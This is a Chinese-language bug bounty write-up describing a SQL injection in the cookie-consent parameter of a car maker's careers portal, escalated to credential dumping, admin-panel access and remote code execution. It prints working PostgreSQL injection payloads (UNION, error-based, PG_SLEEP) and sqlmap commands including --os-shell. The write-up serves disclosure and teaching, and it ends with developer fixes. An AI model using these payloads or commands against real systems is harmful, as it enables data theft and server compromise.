前言
本文我们将了解国外白帽小哥是如何在一家大型全球汽车公司的职业门户(不是宝马!)的 Cookie 同意参数中找到一个 SQL 注入漏洞的。
而这个看似无聊的用户体验功能最终变成了:
✅ 完整数据库访问
✅ 管理员凭证提取
✅ 管理员面板劫持(使用解密密码)
✅ 远程代码执行 (RCE)
让我们开始吧~
Cookie 同意
目标为一个由主要漏洞赏金平台托管的私人漏洞赏金项目的一部分,范围内包含各种 Web 和移动应用程序。
其中一个目标是具有工作申请链接的移动应用程序,将用户重定向到专门的职业门户。
该门户允许申请人提交简历和管理他们的申请资料,正如 GDPR 合规性下所预期的那样,该网站实现了一个 Cookie 同意横幅,使用户能够配置隐私偏好,看似标准的 UX 组件实际上是更深层次漏洞的入口点。
大多数开发者忽视的是:当用户点击这些按钮时,会触发后端请求。
在这种情况下,通过 POST 请求传递了一个 cookieConsent 参数,白帽小哥发现该参数存在注入漏洞。
独特的SQL注入
为什么这个 SQL 注入如此独特——且很少被测试?当我们谈论 SQL 注入时,大多数人会立刻想到那些常见的对象:登录表单、搜索字段和过滤器以及 AJAX 请求。
但这次的 SQL 注入就隐藏在明处——在一个 Cookie 同意横幅中,由“接受所有”或“拒绝”等简单的用户体验交互触发,这正是它的稀有之处。
这不是一个输入字段,也不是直接在表单中暴露的,它是一个由前端驱动的隐私设置,在用户点击按钮时无声地作为参数传递——就像 cookieConsent=1
或 cookieConsent=0
这样的参数。
这样的漏洞突显了一个关键教训:任何客户端可以访问的参数都是可以攻击的目标,无论它看起来多么“无害”。
易受攻击的请求
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive
InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&Agree=agree1
像往常一样,白帽小哥开始测试在 Burp Suite 中捕获的实时流量中的每个参数,其中一个请求引起了他的注意,小哥将请求更改为:
POST /careers?cookieConsent=1'+AND+1=2--
这导致服务器响应了一个 500 内部服务器错误——这是一个明确的信号,表明该参数正在不安全地注入到 SQL 语句中,服务器不仅解析输入,还响应了错误,基本确认存在 SQL 注入漏洞或类似问题。
漏洞成因
后端逻辑可能看起来像下面这样:
SELECT * FROM cookie_preferences WHERE consent_status = '$cookieConsent'
没有输入验证、没有清理、没有预处理语句等等,由于开发人员犯下的这个愚蠢疏忽,从而可以注入任意的 SQL 命令,于是一个隐私功能便成了攻击面。
手动测试与模糊测试
在观察到 500 内部服务器错误后,白帽小哥决定进一步调查携带 cookieConsent 参数的请求。
与所有潜在的注入点一样,白帽小哥遵循了结构化的方法——从手动篡改开始,逐渐升级到成功使用的经典 SQL 注入模式。
第一步:布尔逻辑检查
首先,白帽小哥尝试了一个基于布尔逻辑的简单测试,以确定后端是否直接从参数中处理 SQL 逻辑:
✅ cookieConsent=1’+AND+1=1- –
→ 页面正常加载。
❌ cookieConsent=1’+AND+1=2- –
→ 页面崩溃并返回了 500 内部服务器错误。
第二步:语法错误确认
为了确保问题不仅仅在于输入验证错误或逻辑故障,白帽小哥注入了一个格式错误的 SQL 字符串,以故意触发数据库级别的语法错误:
cookieConsent=1'
服务器响应了另一个 500 内部服务器错误,并伴随着可疑的延迟——这表明是一个未处理的 SQL 异常,而不是正常的验证失败。
这可以确定两件事:
- 参数没有被清洗
- 查询执行引擎正在暴露后端错误
第三步:通过联合注入进行版本披露
接着,白帽小哥使用了一个基于 UNION 的 Payload:
cookieConsent=1'+UNION+SELECT+NULL,version()--
这是一个快速检测方法,如果成功,它通常会直接暴露数据库版本,尤其是在反映数据库驱动内容的页面上:
PostgreSQL 13.10 (Ubuntu))
响应显示了 PostgreSQL 版本,在 Ubuntu 上运行,它不仅可注入,而且直接反射后端数据,此时,漏洞已完全确认。
第四步:指纹识别执行上下文
注入了以下内容以确认列数:
cookieConsent=1'+ORDER+BY+1--
失败,但使用cookieConsent=1'+ORDER+BY+2--
,成功了。这意味着原始查询可能选择了2列,但现在可以相应地对UNION SELECT进行对齐,于是白帽小哥再次尝试:
cookieConsent=1'+UNION+SELECT+NULL,version()--
响应重新显示了 PostgreSQL 版本,这基本可以确定:
- 确认基于 UNION 的 SQLi
- 对齐列数
- 验证了 PostgreSQL 特定语法
- 证明查询输出会反映在响应中
白帽小哥还使用基于时间的盲 SQL 注入测试了延迟执行:
cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive
InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
响应延迟了大约 11 秒,这验证了基于时间的 SQL 注入是可行的。
第五步:指纹识别和枚举
cookieConsent=1'+UNION+SELECT+NULL,current_database()--
cookieConsent=1'+UNION+SELECT+NULL,current_user--
通过以上两条查询,白帽小哥查询了:
- 数据库名称(例如: xxx_portal )
- 数据库用户(例如: xxx_user )
然后小哥继续尝试使用 PostgreSQL 字符串连接进行基于错误的枚举:
cookieConsent=1'+AND+1=(SELECT+CAST(('abc'||(SELECT+table_name+FROM+information_schema.tables+LIMIT+1))+AS+TEXT))--
成功泄露表名。
SQLMap自动化
利用 SQLMap 直接自动化注入:
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL
几分钟内,SQLMAP 便找到了注入点,并显示所有 3 种类型的漏洞:
导出所有管理员和员工的哈希密码:
信息泄露
该应用程序有一个数据库****,其中包含求职者的详细信息、联系方式、电子邮件、用户名、哈希密码等。
管理面板登录
这些泄露的凭证可能在管理员子路径 /admin 上有效,白帽小哥可以访问一个管理以下内容的仪表板:
- 职位发布
- 用户申请
- 文档上传
通过 SQLMAP 实现 RCE
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL --os-shell
成功实现 getshell。
对开发者的建议
- 使用参数化查询,而不是动态 SQL 字符串
- 即使是“受控”的前端输入也需要验证,如 Cookie 偏好设置
- 永远不要信任仅通过 UI 触发的 GET 参数
- 在文件上传时,同时在扩展名和内容级别进行扫描和过滤
希望你能有所收获~